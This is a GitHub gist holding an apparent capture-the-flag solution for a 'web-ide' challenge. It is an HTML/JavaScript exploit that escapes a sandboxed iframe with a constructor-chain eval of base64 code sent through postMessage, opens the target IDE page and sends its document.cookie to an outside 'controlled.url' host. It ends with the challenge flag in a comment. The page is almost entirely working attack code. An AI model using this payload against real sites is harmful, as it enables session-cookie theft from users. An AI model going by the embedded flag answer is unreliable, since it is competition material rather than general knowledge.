Skip to content

Instantly share code, notes, and snippets.

@Adikso
Created February 8, 2021 00:02
Show Gist options
  • Save Adikso/bbe17fbe7613ab8d9b0ceb33964882bf to your computer and use it in GitHub Desktop.
Save Adikso/bbe17fbe7613ab8d9b0ceb33964882bf to your computer and use it in GitHub Desktop.
<iframe id="sandbox" src="https://web-ide.dicec.tf/sandbox.html"></iframe>
<script>
const sandbox = document.querySelector('iframe');
const code = `
const subWindow = window.open("https://web-ide.dicec.tf/ide");
subWindow.onload = function () {
fetch("https://controlled.url/?x=" + subWindow.document.cookie);
}
`;
const sandboxCode = `"".__proto__.constructor.constructor('eval(atob("${btoa(code)}"))')();`;
sandbox.onload = function () {
sandbox.contentWindow.postMessage(sandboxCode, '*');
}
</script>
<!-- dice{c0uldn7_f1nd_4_b4ckr0nym_f0r_1de} -->
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment